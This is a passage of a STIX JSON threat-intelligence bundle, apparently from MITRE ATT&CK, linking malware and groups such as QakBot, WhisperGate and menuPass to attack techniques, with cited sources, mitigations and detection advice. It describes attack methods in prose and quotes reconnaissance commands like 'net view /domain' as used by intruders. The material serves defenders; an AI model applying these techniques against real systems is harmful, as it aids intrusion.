2021)","modified":"2022-08-31T21:33:44.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03e384be-6fdd-4967-99a9-6dac5af75729","type":"relationship","created":"2020-02-12T15:22:11.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-07T22:14:25.991Z","description":"Uninstall any VNC server software where not required.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03e67769-31da-4a46-a5a6-1ccbdd0cf29f","type":"relationship","created":"2020-05-11T16:57:30.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"ESET Buhtrap and Buran April 2019","url":"https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/","description":"ESET Research. (2019, April 30). Buhtrap backdoor and Buran ransomware distributed via major advertising platform. Retrieved May 11, 2020."}],"modified":"2020-05-12T22:13:17.037Z","description":"[RTM](https://attack.mitre.org/groups/G0048) has distributed its malware via the RIG and SUNDOWN exploit kits, as well as online advertising network Yandex.Direct.(Citation: ESET RTM Feb 2017)(Citation: ESET Buhtrap and Buran April 2019)","relationship_type":"uses","source_ref":"intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03e6a535-5c95-47e7-a369-aed653022c7c","created":"2023-09-13T19:57:22.399Z","revoked":false,"external_references":[{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T19:57:22.399Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can decode its second-stage PowerShell script prior to execution.(Citation: Morphisec Snip3 May 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03e6e755-12a2-4261-b95d-caea6b2bf051","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.157Z","description":"The author of [GravityRAT](https://attack.mitre.org/software/S0237) submitted samples to VirusTotal for testing, showing that the author modified the code to try to hide the DDE object in a different part of the document.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03e7f671-763a-4027-af51-d01606c14a2a","created":"2021-09-30T12:22:35.676Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cyberint Qakbot May 2021","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021.","url":"https://blog.cyberint.com/qakbot-banking-trojan"},{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"},{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"},{"source_name":"Red Canary Qbot","description":"Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.","url":"https://redcanary.com/threat-detection-report/threats/qbot/"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-10T20:47:02.650Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use Regsvr32 to execute malicious DLLs.(Citation: Red Canary Qbot)(Citation: Cyberint Qakbot May 2021)(Citation: ATT QakBot April 2021)(Citation: Trend Micro Black Basta October 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Deep Instinct Black Basta August 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03ecffe3-d09c-40f5-bbc8-ffa4acc4bdb4","created":"2022-04-13T15:08:07.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Crowdstrike WhisperGate January 2022","description":"Crowdstrike. (2022, January 19). Technical Analysis of the WhisperGate Malicious Bootloader. Retrieved March 10, 2022.","url":"https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware"},{"source_name":"Cybereason WhisperGate February 2022","description":"Cybereason Nocturnus. (2022, February 15). Cybereason vs. WhisperGate and HermeticWiper. Retrieved March 10, 2022.","url":"https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper"},{"source_name":"Microsoft WhisperGate January 2022","description":"MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022.","url":"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.851Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) overwrites the MBR with a bootloader component that performs destructive wiping operations on hard drives and displays a fake ransom note when the host boots.(Citation: Crowdstrike WhisperGate January 2022)(Citation: Cybereason WhisperGate February 2022)(Citation: Microsoft WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03f1e3ee-5c1b-4897-8631-d15ed48a0730","type":"relationship","created":"2020-06-10T21:56:40.086Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots Dec 2016","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}],"modified":"2020-06-10T21:56:40.086Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used intercepter-NG to sniff passwords in network traffic.(Citation: ESET Telebots Dec 2016)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--03f288cd-a189-4de9-abd4-6b10bda138a4","created":"2022-03-09T21:09:11.109Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Tomiris](https://attack.mitre.org/software/S0671) has connected to a signalization server that provides a URL and port, and then [Tomiris](https://attack.mitre.org/software/S0671) sends a GET request to that URL to establish C2.(Citation: Kaspersky Tomiris Sep 2021)","modified":"2022-04-14T14:26:48.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03f32a8b-4cd9-488c-9759-37f3dff9faea","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.600Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) uses scripts to enumerate IP ranges on the victim network. [menuPass](https://attack.mitre.org/groups/G0045) has also issued the command net view /domain to a [PlugX](https://attack.mitre.org/software/S0013) implant to gather information about remote systems on the network.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--03f332df-e864-4587-ae5a-f5e830e9740a","created":"2022-03-30T14:26:51.847Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor network data for uncommon data flows., such as the usage of abnormal/unexpected protocols.","modified":"2022-04-08T12:51:22.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03f56095-464f-4c51-b6aa-11b1641f17cf","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-11-06T20:20:10.986Z","description":"Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/owner, permissions that may attempt to hide artifacts associated with their behaviors to evade detection.","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--03f69381-89e2-411a-8302-323c8a1bddfa","created":"2021-04-12T12:44:34.189Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos PoetRAT October 2020","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PoetRAT](https://attack.mitre.org/software/S0428) has exfiltrated data over the C2 channel.(Citation: Talos PoetRAT October 2020)","modified":"2022-04-19T01:39:03.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--03fcc016-f9a2-491d-8d9f-92aa4b4c4d4a","created":"2019-06-17T19:35:16.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.381Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has installed a service pointing to a malicious DLL dropped to disk.(Citation: PWC KeyBoys Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--040ff1f7-493d-4762-a9bb-db143a971464","type":"relationship","created":"2020-03-18T22:06:42.466Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2020-03-18T22:06:42.466Z","description":"[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of domain groups with the command net localgroup /domain.(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04175eba-3f58-42ce-897b-1d483c4c12e0","created":"2023-03-31T17:35:29.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T20:33:56.670Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used PowerShell scripts to run a credential harvesting tool in memory to evade defenses.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--041e8f9b-6cdb-44b3-aa37-a274a4de9a0b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.305Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) collects the MAC address, computer name, and CPU information.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--042001af-58f0-43c9-8747-5a0d0f7906f5","type":"relationship","created":"2021-03-23T20:49:40.211Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.211Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has collected the username of the victim system.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04200684-0886-4299-ac13-f2c59c3b47d9","created":"2023-12-06T19:12:47.449Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-06T19:12:47.449Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has posted false advertisements including for software packages and browser updates in order to distribute malware.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04203d88-5fe1-4e63-be65-51a17705716b","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"Symantec Cicada November 2020","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"},{"source_name":"Github AD-Pentest-Script","description":"Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.","url":"https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.602Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--042438ba-9657-411d-a3b9-7f321dcd3f08","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for newly constructed files for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Also, monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0428220b-eb98-45c3-a637-7da54b4496b4","type":"relationship","created":"2020-05-28T16:38:03.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.414Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can scan for network drives which may contain documents for collection.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04310dec-3aa0-4a92-821d-291e34d00de5","created":"2024-02-29T18:38:02.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T16:01:35.333Z","description":"Internet scanners may be used to look for artifacts associated with malicious C2 infrastructure. Correlate data and patterns from Internet-facing resources gathered from scans with network traffic to gain further insight into potential adversary C2 networks.","relationship_type":"detects","source_ref":"x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da","target_ref":"attack-pattern--eb897572-8979-4242-a089-56f294f4c91d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0432482e-344c-4be3-9a70-5391cf41a935","type":"relationship","created":"2020-12-17T18:16:05.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-17T18:16:05.012Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can inject into known, vulnerable binaries on targeted hosts.(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0435981c-4e1c-483f-8eb0-6586179e9c23","created":"2024-09-18T20:40:03.006Z","revoked":false,"external_references":[{"source_name":"Palo Alto Latrodectus Activity June 2024","description":"Unit 42. (2024, June 25). 2024-06-25-IOCs-from-Latrodectus-activity. Retrieved September 13, 2024.","url":"https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2024-06-25-IOCs-from-Latrodectus-activity.txt"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:40:03.006Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has used Google Firebase to download malicious installation scripts.(Citation: Palo Alto Latrodectus Activity June 